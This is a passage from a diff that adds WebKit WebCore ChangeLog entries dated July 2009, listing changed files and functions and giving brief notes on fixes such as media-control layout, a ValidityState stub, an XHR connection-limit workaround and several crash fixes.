+        (WebCore::parseAspectRatio):
+        * css/MediaQueryEvaluator.h:
+        * css/MediaQueryExp.h:
+        (WebCore::MediaQueryExp::operator==):
+        * css/WebKitCSSMatrix.h:
+        * dom/Comment.h:
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode):
+        * dom/Document.h:
+        (WebCore::Document::setHasDashboardRegions):
+        * dom/DocumentFragment.cpp:
+        (WebCore::DocumentFragment::nodeName):
+        * dom/DocumentFragment.h:
+        * dom/DynamicNodeList.h:
+        * dom/EditingText.h:
+        * dom/Element.cpp:
+        (WebCore::Element::dispatchAttrAdditionEvent):
+        * dom/NamedAttrMap.cpp:
+        (WebCore::NamedNodeMap::item):
+        * dom/Node.cpp:
+        (WebCore::Node::nodeValue):
+        (WebCore::Node::nodeIndex):
+        * dom/NodeRareData.h:
+        (WebCore::NodeListsNodeData::create):
+        * dom/Notation.h:
+        * dom/ProcessingInstruction.h:
+        * dom/Range.cpp:
+        (WebCore::Range::processContents):
+        * dom/StyledElement.cpp:
+        (WebCore::toHex):
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::PendingCallbacks::PendingStartElementNSCallback::~PendingStartElementNSCallback):
+        (WebCore::PendingCallbacks::PendingStartElementNSCallback::call):
+        (WebCore::PendingCallbacks::):
+        (WebCore::OffsetBuffer::readOutBytes):
+        (WebCore::handleElementNamespaces):
+        (WebCore::handleElementAttributes):
+        (WebCore::attributesStartElementNsHandler):
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::attributesStartElementNsHandler):
+        (WebCore::XMLTokenizer::parseStartElement):
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::ApplyStyleCommand::applyInlineStyle):
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::removeNode):
+        * editing/Editor.cpp:
+        (WebCore::Editor::pasteAsPlainText):
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::directionOfEnclosingBlock):
+        * editing/SmartReplaceICU.cpp:
+        (WebCore::addAllCodePoints):
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::icon):
+        (WebCore::HistoryItem::adoptVisitCounts):
+        * html/CanvasStyle.cpp:
+        (WebCore::CanvasStyle::applyFillColor):
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::setActive):
+        (WebCore::HTMLAnchorElement::isLiveLink):
+        * html/HTMLAppletElement.h:
+        * html/HTMLAudioElement.h:
+        * html/HTMLBRElement.h:
+        * html/HTMLBaseElement.h:
+        * html/HTMLBaseFontElement.h:
+        * html/HTMLDListElement.h:
+        * html/HTMLDirectoryElement.h:
+        * html/HTMLFieldSetElement.cpp:
+        (WebCore::HTMLFieldSetElement::HTMLFieldSetElement):
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::reset):
+        * html/HTMLHRElement.cpp:
+        (WebCore::HTMLHRElement::parseMappedAttribute):
+        * html/HTMLHeadElement.h:
+        * html/HTMLHtmlElement.h:
+        * html/HTMLImageElement.h:
+        (WebCore::HTMLImageElement::setLoadManually):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::selection):
+        * html/HTMLIsIndexElement.h:
+        * html/HTMLMarqueeElement.cpp:
+        * html/HTMLMediaElement.h:
+        (WebCore::HTMLMediaElement::):
+        * html/HTMLMenuElement.h:
+        * html/HTMLMetaElement.h:
+        * html/HTMLModElement.h:
+        * html/HTMLOListElement.h:
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::childrenChanged):
+        * html/HTMLParamElement.h:
+        * html/HTMLQuoteElement.h:
+        * html/HTMLStyleElement.h:
+        * html/HTMLTableCaptionElement.h:
+        * html/HTMLTableCellElement.h:
+        * html/HTMLTableColElement.h:
+        * html/HTMLTableSectionElement.cpp:
+        (WebCore::HTMLTableSectionElement::deleteRow):
+        * html/HTMLTitleElement.h:
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::parseNonHTMLText):
+        (WebCore::HTMLTokenizer::parseEntity):
+        (WebCore::HTMLTokenizer::parseTag):
+        (WebCore::HTMLTokenizer::write):
+        * html/HTMLUListElement.h:
+        * html/HTMLVideoElement.h:
+        * html/TimeRanges.h:
+        (WebCore::TimeRanges::Range::Range):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::enableResourceTracking):
+        (WebCore::InspectorController::disableResourceTracking):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::newInspectorJSONObject):
+        * page/Console.cpp:
+        (WebCore::Console::addMessage):
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleMousePressEvent):
+        (WebCore::EventHandler::selectCursor):
+        (WebCore::EventHandler::defaultKeyboardEventHandler):
+        * page/Frame.cpp:
+        (WebCore::Frame::jsDefaultStatusBarText):
+        * page/android/DragControllerAndroid.cpp:
+        (WebCore::DragController::dragOperation):
+        * page/android/EventHandlerAndroid.cpp:
+        (WebCore::EventHandler::tabsToAllControls):
+        (WebCore::EventHandler::eventActivatedView):
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
+        * page/gtk/DragControllerGtk.cpp:
+        (WebCore::DragController::dragOperation):
+        * page/qt/DragControllerQt.cpp:
+        * page/win/DragControllerWin.cpp:
+        (WebCore::DragController::isCopyKeyDown):
+        * page/win/FrameWin.h:
+        * rendering/RenderSlider.cpp:
+        (WebCore::RenderSlider::mouseEventOffsetToThumb):
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::setVerticalAlignLength):
+        (WebCore::InheritedFlags::setUnicodeBidi):
+        (WebCore::InheritedFlags::setCursor):
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+        * rendering/style/SVGRenderStyleDefs.h:
+        * rendering/style/StyleInheritedData.h:
+        (WebCore::StyleInheritedData::operator!=):
+        * storage/DatabaseTask.h:
+        * svg/GradientAttributes.h:
+        * svg/LinearGradientAttributes.h:
+        * svg/PatternAttributes.h:
+        * svg/RadialGradientAttributes.h:
+        * svg/SVGAnimatedPathData.h:
+        * svg/SVGAnimatedPoints.h:
+        * svg/SVGAnimationElement.h:
+        * svg/SVGClipPathElement.h:
+        * svg/SVGElementInstance.h:
+        * svg/SVGFEBlendElement.cpp:
+        (WebCore::SVGFEBlendElement::build):
+        * svg/SVGFEBlendElement.h:
+        * svg/SVGFEColorMatrixElement.cpp:
+        (WebCore::SVGFEColorMatrixElement::build):
+        * svg/SVGFEComponentTransferElement.cpp:
+        (WebCore::SVGFEComponentTransferElement::build):
+        * svg/SVGFECompositeElement.cpp:
+        (WebCore::SVGFECompositeElement::build):
+        * svg/SVGFEDiffuseLightingElement.cpp:
+        (WebCore::SVGFEDiffuseLightingElement::build):
+        * svg/SVGFEDisplacementMapElement.cpp:
+        (WebCore::SVGFEDisplacementMapElement::build):
+        * svg/SVGFEDistantLightElement.h:
+        * svg/SVGFEFloodElement.cpp:
+        (WebCore::SVGFEFloodElement::build):
+        * svg/SVGFEFloodElement.h:
+        * svg/SVGFEFuncAElement.h:
+        * svg/SVGFEFuncBElement.h:
+        * svg/SVGFEFuncGElement.h:
+        * svg/SVGFEFuncRElement.h:
+        * svg/SVGFEGaussianBlurElement.cpp:
+        (WebCore::SVGFEGaussianBlurElement::build):
+        * svg/SVGFEImageElement.cpp:
+        (WebCore::SVGFEImageElement::build):
+        * svg/SVGFEMergeElement.cpp:
+        (WebCore::SVGFEMergeElement::build):
+        * svg/SVGFEOffsetElement.cpp:
+        (WebCore::SVGFEOffsetElement::build):
+        * svg/SVGFEPointLightElement.h:
+        * svg/SVGFESpecularLightingElement.cpp:
+        (WebCore::SVGFESpecularLightingElement::build):
+        * svg/SVGFESpotLightElement.h:
+        * svg/SVGFETileElement.cpp:
+        (WebCore::SVGFETileElement::build):
+        * svg/SVGLineElement.cpp:
+        (WebCore::SVGLineElement::parseMappedAttribute):
+        * svg/SVGList.h:
+        * svg/SVGListTraits.h:
+        (WebCore::):
+        * svg/SVGMPathElement.h:
+        * svg/SVGMetadataElement.h:
+        * svg/SVGParserUtilities.cpp:
+        (WebCore::SVGPathParser::parseSVG):
+        (WebCore::SVGPathParser::calculateArc):
+        * svg/SVGPathElement.h:
+        * svg/SVGPathSegClosePath.h:
+        * svg/SVGSVGElement.h:
+        * svg/SVGSetElement.h:
+        * svg/SVGSwitchElement.h:
+        * svg/SVGTextPathElement.cpp:
+        (WebCore::SVGTextPathElement::parseMappedAttribute):
+        * svg/SVGTextPathElement.h:
+        * svg/SVGTitleElement.h:
+        * svg/SVGTransformable.cpp:
+        (WebCore::):
+        * svg/SVGViewSpec.cpp:
+        (WebCore::):
+        * svg/animation/SMILTime.cpp:
+        (WebCore::operator+):
+        (WebCore::operator-):
+        (WebCore::operator*):
+        * svg/animation/SVGSMILElement.h:
+        * svg/graphics/SVGResource.cpp:
+        (WebCore::clientMap):
+        * wml/WMLPostfieldElement.cpp:
+        (WebCore::WMLPostfieldElement::value):
+        * wml/WMLSetvarElement.cpp:
+        (WebCore::WMLSetvarElement::value):
+        * workers/WorkerRunLoop.cpp:
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::dropProtection):
+        * xml/XPathPath.h:
+
+2009-07-10  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7049066>.
+        Update SnowLeopard media controller layout.
+
+        * css/mediaControlsQT.css:
+            Update for new layout.
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::movieLoadType):
+            Added to replace isStreaming.
+        * html/HTMLMediaElement.h:
+            Declare movieLoadType, remove isStreaming.
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlStatusDisplayElement::update):
+            Use movieLoadType instead of isStreaming.
+        (WebCore::MediaControlTimelineContainerElement::rendererIsNeeded):
+            MediaControlElement is the base class, not HTMLInputElement.
+        (WebCore::MediaControlStatusDisplayElement::rendererIsNeeded):
+            Ditto.
+        (WebCore::MediaControlRewindButtonElement::rendererIsNeeded):
+            Don't display rewind button for live streams.
+        (WebCore::MediaControlReturnToRealtimeButtonElement::rendererIsNeeded):
+            MediaControlInputElement is the base class, not HTMLInputElement.
+        * rendering/MediaControlElements.h:
+
+        * rendering/RenderThemeMac.h:
+        * rendering/RenderThemeMac.mm:
+        (WebCore::getMediaUIPartStateFlags):
+            New, return wkDrawMediaUIPart flags.
+        (WebCore::RenderThemeMac::paintMediaFullscreenButton):
+        (WebCore::RenderThemeMac::paintMediaMuteButton):
+        (WebCore::RenderThemeMac::paintMediaPlayButton):
+        (WebCore::RenderThemeMac::paintMediaSeekBackButton):
+        (WebCore::RenderThemeMac::paintMediaSeekForwardButton):
+        (WebCore::RenderThemeMac::paintMediaSliderTrack):
+        (WebCore::RenderThemeMac::paintMediaSliderThumb):
+        (WebCore::RenderThemeMac::paintMediaRewindButton):
+        (WebCore::RenderThemeMac::paintMediaReturnToRealtimeButton):
+        (WebCore::RenderThemeMac::paintMediaControlsBackground):
+        (WebCore::RenderThemeMac::paintMediaCurrentTime):
+        (WebCore::RenderThemeMac::paintMediaTimeRemaining):
+            Use getMediaUIPartStateFlags.
+
+2009-07-10  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Adele Peterson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=19562
+        Added build stuff and stub for the ValidityState class, part of HTML5
+        section Forms:
+        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#validitystate
+
+        Test: fast/forms/ValidityState-001.html
+
+        * DerivedSources.cpp: Fix aimed to include ValidityState files
+        * DerivedSources.make: ditto
+        * GNUmakefile.am: ditto
+        * WebCore.gypi: ditto
+        * WebCore.pro: ditto
+        * WebCore.vcproj/WebCore.vcproj: ditto
+        * WebCore.xcodeproj/project.pbxproj: ditto
+        * WebCoreSources.bkl: ditto
+        * html/HTMLButtonElement.idl: "validity" attribute
+        * html/HTMLFieldSetElement.idl: ditto
+        * html/HTMLFormControlElement.cpp: object getter
+        (WebCore::HTMLFormControlElement::validity):
+        * html/HTMLFormControlElement.h: ditto
+        * html/HTMLInputElement.idl: "validity" attribute
+        * html/HTMLSelectElement.idl: ditto
+        * html/HTMLTextAreaElement.idl: ditto
+        * html/ValidityState.cpp: Added.
+        (WebCore::ValidityState::ValidityState):
+        (WebCore::ValidityState::valid): validation flag
+        * html/ValidityState.h: Added.
+        (WebCore::ValidityState::create): creation routine
+        (WebCore::ValidityState::control): ValidityState's parent getter
+        (WebCore::ValidityState::valueMissing): validation flag
+        (WebCore::ValidityState::typeMismatch): ditto
+        (WebCore::ValidityState::patternMismatch): ditto
+        (WebCore::ValidityState::tooLong): ditto
+        (WebCore::ValidityState::rangeUnderflow): ditto
+        (WebCore::ValidityState::rangeOverflow): ditto
+        (WebCore::ValidityState::stepMismatch): ditto
+        (WebCore::ValidityState::customError): ditto
+        * html/ValidityState.idl: Added.
+
+2009-07-10  Brady Eidson  <beidson@apple.com>
+
+        Style cleanup over my last patch.
+
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::~XMLHttpRequest):
+
+2009-07-10  Kevin McCullough  <kmccullough@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        * inspector/JavaScriptCallFrame.cpp:
+        (WebCore::JavaScriptCallFrame::dynamicGlobalObject):
+        * inspector/JavaScriptCallFrame.h: New helper method, used below.
+
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::detach): In the special case
+        where we detach from a window currently executing JavaScript,
+        manually tear down our representation of the JavaScript
+        call stack, since we won't get any more callbacks from JavaScriptCore
+        to automatically tear it down. It's too bad that WebCore is
+        responsible for this kind of tracking -- in the future, it would
+        be nice if more of the breakpoint handling was inside of JavaScriptCore.
+
+2009-07-10  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Antti Koivisto.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26496 and <rdar://problem/7046520>
+        REGRESSION: XHR stream connection blocks iFrame loading and resource downloading
+
+        With this test we ended up going over the maximum-connections-per-host limit that CFNetwork expected.
+        When that happened, the first request that was over the limit ended up in a bizarre state where it 
+        wasn't fully serviced until after the long running XHR was complete.
+
+        Loader and Loader::Host work together to try to not exceed the max-connection limit but non-cache
+        resources - such as XHR - could still end up causing this limit to be exceeded.
+
+        This fix adds a workaround specifically for XHR while we hash out a more thorough solution that will
+        handle this at the resource handle level.
+
+        * loader/loader.cpp:
+        (WebCore::Loader::nonCacheRequestInFlight):
+        (WebCore::Loader::nonCacheRequestComplete):
+        (WebCore::Loader::Host::Host):
+        (WebCore::Loader::Host::nonCacheRequestInFlight):
+        (WebCore::Loader::Host::nonCacheRequestComplete):
+        (WebCore::Loader::Host::servePendingRequests): Take nonCacheRequestsInFlight into account.
+        * loader/loader.h:
+        (WebCore::Loader::Host::processingResource): Take nonCacheRequestsInFlight into account.
+
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::XMLHttpRequest):
+        (WebCore::XMLHttpRequest::~XMLHttpRequest): 
+        (WebCore::XMLHttpRequest::loadRequestAsynchronously): Bump the nonCacheRequestInFlight count.
+        (WebCore::XMLHttpRequest::didFail): Decrement that count if the Loader was notified.
+        (WebCore::XMLHttpRequest::didFinishLoading): Ditto.
+
+2009-07-10  Antti Koivisto  <antti@apple.com>
+
+        Try to unbreak non-Mac build.
+
+        * page/ChromeClient.h:
+        (WebCore::ChromeClient::formDidFocus):
+        (WebCore::ChromeClient::formDidBlur):
+
+2009-07-10  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        The rest of the fix for <rdar://problem/7038831> REGRESSION (TOT): 
+        In Mail, a crash occurs at WebCore::Widget::afterMouseDown() after 
+        clicking To Do's close box
+
+        Make the Widget* in passMouseDownEventToWidget() a RefPtr.
+
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::passMouseDownEventToWidget):
+
+2009-07-10  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        rename getDOMStructure calls w/o JSGlobalObject* to deprecatedGetDOMStructure
+        https://bugs.webkit.org/show_bug.cgi?id=27157
+
+        This is the first step to fixing
+        https://bugs.webkit.org/show_bug.cgi?id=27088
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::deprecatedGetDOMStructure):
+        (WebCore::createDOMObjectWrapper):
+        (WebCore::createDOMNodeWrapper):
+        * bindings/js/JSNamedNodesCollection.cpp:
+        (WebCore::JSNamedNodesCollection::JSNamedNodesCollection):
+        * bindings/js/JSRGBColor.cpp:
+        (WebCore::JSRGBColor::JSRGBColor):
+        * bridge/objc/objc_runtime.mm:
+        (JSC::Bindings::ObjcFallbackObjectImp::ObjcFallbackObjectImp):
+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::RuntimeArray):
+        * bridge/runtime_method.cpp:
+        (JSC::RuntimeMethod::RuntimeMethod):
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObjectImp::RuntimeObjectImp):
+
+2009-07-10  Greg Bolsinga  <bolsinga@apple.com>
+
+        Reviewed by Antti Koivisto.
+
+        Add delegate methods about focus and blur and state change
+        https://bugs.webkit.org/show_bug.cgi?id=27153
+
+        Call the appropriate new ChromeClient methods for focus and blur.
+
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::dispatchFocusEvent):
+        (WebCore::HTMLFormControlElement::dispatchBlurEvent):
+        * html/HTMLFormControlElement.h:
+        * loader/EmptyClients.h:
+        (WebCore::EmptyChromeClient::formDidFocus):
+        (WebCore::EmptyChromeClient::formDidBlur):
+        * page/ChromeClient.h:
+
+2009-07-10  Steve Falkenburg  <sfalken@apple.com>
+
+        <rdar://problem/7048741> REGRESSION: Error about missing SwMenuX.dll opening pages with Shockwave
+        
+        Use altered search path while loading plug-ins. This modifies the DLL search order
+        to look in the directory containing the plug-in even if a call to SetDllDirectory
+        was previously made. Use of SetDllDirectory removes the current directory from the search path,
+        breaking the previous strategy for locating any dependent DLLs of the plug-in.
+        
+        Reviewed by Jon Honeycutt.
+
+        * plugins/win/PluginPackageWin.cpp:
+        (WebCore::PluginPackage::load): Use LoadLibraryEx with LOAD_WITH_ALTERED_SEARCH_PATH
+
+2009-07-10  Adam Roben  <aroben@apple.com>
+
+        Sort all our Xcode projects
+
+        Accomplished using sort-Xcode-project-file.
+
+        Requested by Dave Kilzer.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-07-10  Adam Langley  <agl@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Chromium Linux: use disabled images for disabled widgets.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27106
+
+        Previously, checkboxes and radio controls rendered the same even if disabled.
+        The Chromium side of this change is r20224.
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::paintCheckbox):
+        (WebCore::RenderThemeChromiumSkia::paintRadio):
+
+2009-07-10  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by John Sullivan.
+
+        Fix crash when changing the zoom level in http://iphone.akamai.com/
+        <rdar://problem/7029077>
+
+        RenderLayerBacking's paintIntoLayer() method called updateLayerListsIfNeeded(),
+        which could potentially destroy that compositing layer, causing a crash.
+        Prevent this from happening by not doing a compositing update from paintIntoLayer().
+
+        The existing updateLayerListsIfNeeded() was renamed to updateCompositingAndLayerListsIfNeeded(),
+        and still does the compositing update. The new updateLayerListsIfNeeded() does not touch
+        compositing layers, and is still called from paintIntoLayer().
+        
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paintLayer):
+        (WebCore::RenderLayer::hitTestLayer):
+        (WebCore::RenderLayer::updateLayerListsIfNeeded):
+        (WebCore::RenderLayer::updateCompositingAndLayerListsIfNeeded):
+        * rendering/RenderLayer.h:
+
+2009-07-10  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Darin Adler.
+
+        Need to remove UsesManualToJSImplementation() in favor of CustomToJS.
+        https://bugs.webkit.org/show_bug.cgi?id=27010
+
+        Added support for CustomToJS IDL attribute to replace the hard-coded class list in UsesManualToJSImplementation().
+
+        This is just a cleanup of existing functionality, so existing LayoutTests adequately cover this patch.
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+        Removed UsesManualToJSImplementation(), added support for CustomToJS attribute.
+        * css/CSSRule.idl:
+        * css/CSSValue.idl:
+        * css/StyleSheet.idl:
+        * dom/Document.idl:
+        * dom/Event.idl:
+        * dom/Node.idl:
+        * html/ImageData.idl:
+        * svg/SVGElementInstance.idl:
+        * svg/SVGPathSeg.idl:
+        Added CustomToJS attribute to all the above IDL files.
+
+2009-07-10  Dan Bernstein  <mitz@apple.com>
+
+        - fix the build by reverting the ill-advised r45711
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::scrollToAnchor):
+
+2009-07-09  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Updated WebCore.base.exp to add some needed functions.
+
+        * WebCore.base.exp:
+
+2009-07-10  Dan Bernstein  <mitz@apple.com>
+
+        - address a review comment from Simon Fraser which I forgot to include
+          in the last check-in
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::scrollToAnchor): Pass true to getRect() for
+        maximum transform friendliness!
+
+2009-07-10  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        - fix https://bugs.webkit.org/show_bug.cgi?id=27137
+          <rdar://problem/7043124> REGRESSION (r44311): Reproducible crash due
+          to infinite recursion into FrameLoader::gotoAnchor() ->
+          FrameView::layout()
+
+        Test: fast/loader/goto-anchor-infinite-layout.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::gotoAnchor): Moved the code to update layout,
+        find the renderer to scroll to, and scroll from here to methods on
+        FrameView, and replaced it with a call to
+        FrameView::maintainScrollPositionAtAnchor().
+        (WebCore::FrameLoader::completed): Call maintainScrollPositionAtAnchor()
+        instead of setLockedToAnchor().
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::FrameView): Removed initialization of
+        m_lockedToAnchor.
+        (WebCore::FrameView::reset): Reset m_maintainScrollPositionAnchor instead
+        of m_lockedToAnchor.
+        (WebCore::FrameView::layout): Removed the code related to scrolling to
+        the anchor from here, because scrolling can trigger events which
+        invalidate the layout, and as such, belongs with the post-layout tasks.
+        (WebCore::FrameView::maintainScrollPositionAtAnchor): Added. When called
+        with a node scrolls the view to the top of that node and maintains it
+        scrolled to the top of the node during subsequent layouts, until
+        this function is called with 0 or other things trigger scrolling.
+        (WebCore::FrameView::scrollRectIntoViewRecursively): Reset
+        m_maintainScrollPositionAnchor.
+        (WebCore::FrameView::setScrollPosition): Ditto.
+        (WebCore::FrameView::scrollToAnchor): Added. Scrolls to the top of
+        m_maintainScrollPositionAnchor, if it is set.
+        (WebCore::FrameView::performPostLayoutTasks): Call scrollToAnchor().
+        (WebCore::FrameView::setWasScrolledByUser): Reset
+        m_maintainScrollPositionAnchor.
+
+        * page/FrameView.h: Removed lockedToAnchor(), setLockedToAnchor(),
+        and m_lockedToAnchor. Added maintainScrollPositionAtAnchor() and
+        m_maintainScrollPositionAnchor.
+
+2009-07-04  Sriram Yadavalli  <sriram.yadavalli@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26439
+
+        QtWebKit fails in loading www.nytimes.com in Windows/Linux
+
+        QNetworkReplyHandler is ignoring content associated with 401 error.
+        This causes the XHR response handling to fail.
+
+        Simon: Added also ProxyAuthenticationRequiredError, to handle the same
+        case when going through proxies, as suggested by Prasanth.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::finish):
+
+2009-07-10  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        Enable HTML 5 Messaging to fix message channel Qt DRT failures in
+        fast/events.
+
+        * WebCore.pro:
+
+2009-07-09  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        added InlineBox::isLeaf()
+        firstLeafChild()/lastLeafChild() not virtual and not callable on InlineBox anymore.
+        firstLeafChild()/lastLeafChild() will no longer return a node outside of the given subtree.   
+        Removed firstLeafChildAfterBox()/lastLeafChildBeforeBox()
+        Removed potentially quadratic behavior if all nodes before/after a given box are empty InlineFlowBoxes
+
+        Currently, these methods are called on RootInlineBox objects only, so above changes should not have
+        any observable effect (only the removal of the square performance behavior could apply, 
+        but the conditions for that are probably of a rather theoretical nature).
+
+        * rendering/InlineBox.cpp:
+        (WebCore::InlineBox::nextLeafChild):
+        (WebCore::InlineBox::prevLeafChild):
+        * rendering/InlineBox.h:
+        (WebCore::InlineBox::isLeaf):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::firstLeafChild):
+        (WebCore::InlineFlowBox::lastLeafChild):
+        * rendering/InlineFlowBox.h:
+        (WebCore::InlineFlowBox::firstChild):
+        (WebCore::InlineFlowBox::lastChild):
+        (WebCore::InlineFlowBox::isLeaf):
+        * rendering/RootInlineBox.cpp:
+        (WebCore::RootInlineBox::closestLeafChildForXPos):
+
+2009-07-09  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Added InlineBox::baselinePosition() and lineHeight() methods
+        (adapted remaining code accordingly to use those methods)
+
+        No change in functionality.
+
+        * rendering/InlineBox.h:
+        (WebCore::InlineBox::baselinePosition):
+        (WebCore::InlineBox::lineHeight):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::adjustMaxAscentAndDescent):
+        (WebCore::InlineFlowBox::computeLogicalBoxHeights):
+        (WebCore::InlineFlowBox::placeBoxesVertically):
+
+2009-07-09  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Bug 27142 - canPlayType() should return empty string for unsupported content
+        <https://bugs.webkit.org/show_bug.cgi?id=27142>
+
+        Return "" instead of "no" for unsupport media types. 
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::canPlayType):
+
+2009-07-09  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Implement the part of HTML5 spec that deals with parsing of <rp> and <rt> tags
+        in that their end tags are optional if followed by <rp>/<rt>.
+
+        Also specify a new accessibility role "annotation" for <rp> and <rt>.
+
+        Affected code parts are not enclosed in #IF ENABLE(RUBY), since the parsing
+        is not affected by whether ruby is rendered properly or not (in fact, it may 
+        be more profound without ruby layouting, since the contents of <rp> are not hidden).
+
+        Test: fast/ruby/parse-rp.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::roleValue):
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::endTagRequirement):
+        (WebCore::HTMLElement::tagPriority):
+        (WebCore::inlineTagList):
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::rpCreateErrorCheck):
+        (WebCore::HTMLParser::rtCreateErrorCheck):
+        (WebCore::HTMLParser::getNode):
+        * html/HTMLParser.h:
+        * html/HTMLTagNames.in:
+
+2009-07-09  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, fix for previous commit.
+
+        The change http://trac.webkit.org/changeset/45695 did not correctly
+        enabled GTL and QT build flags. This caused layout tests failure.
+        This is speculative fix for those failures.
+
+        * GNUmakefile.am: added ENABLE_CHANNEL_MESSAGING flag.
+        * WebCore.pro: ditto.
+        * page/DOMWindow.idl: touched to cause recompile.
+        * workers/WorkerContext.idl: ditto.
+
+2009-07-09  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26903
+
+        Turned on CHANNEL_MESSAGING by default because the MessageChannel API
+        is now implemented for Web Workers and is reasonably stable.
+
+        Tests: fast/events/message-channel-gc-2.html
+               fast/events/message-channel-gc-3.html
+               fast/events/message-channel-gc-4.html
+               fast/events/message-channel-gc.html
+               fast/events/message-channel-listener-circular-ownership.html
+               fast/events/message-port-clone.html
+               fast/events/message-port-constructor-for-deleted-document.html
+               fast/events/message-port-deleted-document.html
+               fast/events/message-port-deleted-frame.html
+               fast/events/message-port-inactive-document.html
+               fast/events/message-port-no-wrapper.html
+               fast/events/message-port.html
+               fast/workers/worker-cloneport.html
+               fast/workers/worker-messageport-gc.html
+               fast/workers/worker-messageport.html
+
+        * Configurations/FeatureDefines.xcconfig: Turned on ENABLE_CHANNEL_MESSAGING.
+        * WebCore/WebCore.vcproj/WebCoreCommon.vsprops: ditto.
+        * WebCore/WebCore.vcproj/build-generated-files.sh: ditto.
+        * WebCore/page/DOMWindow.idl: touch the file to cause re-generation of headers.
+        * WebCore/workers/WorkerContext.idl: ditto.
+
+
+2009-07-09  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Full page zoom breaks remaining and elapsed time display in the <video> controller.
+        https://bugs.webkit.org/show_bug.cgi?id=27123
+
+        We are changing the size of the time remaining and time elapsed field, to
+        automatically hide them, when the controller is too short.
+
+        Because we toggle the size between 0 and the previous value of the
+        controller, we miss any width change that may occur during full page zoom,
+        and we fail to restore a correct width.
+
+        This change fixes that problem by using a cloned style on which we
+        set the width to 0, and restoring the previous style when going back to
+        the normal width.
+
+        We take care about properly using the cloned style or the pseudo style,
+        by overriding styleForElement().
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlElement::styleForElement):
+        (WebCore::MediaControlElement::attach):
